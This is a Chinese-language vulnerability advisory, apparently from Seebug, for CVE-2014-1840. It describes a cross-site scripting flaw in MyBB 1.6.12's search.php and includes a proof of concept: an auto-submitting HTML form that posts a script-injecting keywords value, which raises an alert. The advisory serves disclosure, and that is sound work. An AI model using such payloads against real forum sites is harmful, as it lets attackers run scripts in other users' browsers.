MyBB 'search.php'跨站脚本漏洞

2014-02-2000:00:00

Root

www.seebug.org

EPSS

0.002

Percentile

52.5%

JSON

BUGTRAQ ID: 65344
CVE(CAN) ID: CVE-2014-1840

MyBB是一个功能完整并且非常实用的论坛软件。

MyBB 1.6.12及其他版本没有正确过滤search.php的参数值，在实现上存在跨站脚本漏洞，攻击者可利用此漏洞在受影响站点上下文中的用户浏览器内执行任意脚本代码。
0
MyBB MyBB 1.6.12
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.mybb.com/


                                                &lt;html&gt; 
  &lt;body&gt;
    &lt;form name=&quot;exploit&quot; action=&quot;http://www.example.com/mybb_1612/Upload/search.php&quot; method=&quot;POST&quot;&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;do_search&quot; /&gt;
      &lt;input type=&quot;hidden&quot; name=&quot;keywords&quot; value=&quot;qor'(&quot;\2a&lt;script&gt;alert(/XSS/)&lt;/script&gt;&quot; /&gt;
    &lt;script&gt;document.exploit.submit(); &lt;/script&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;

EPSS

0.002

Percentile

52.5%

JSON

Related for SSV:61502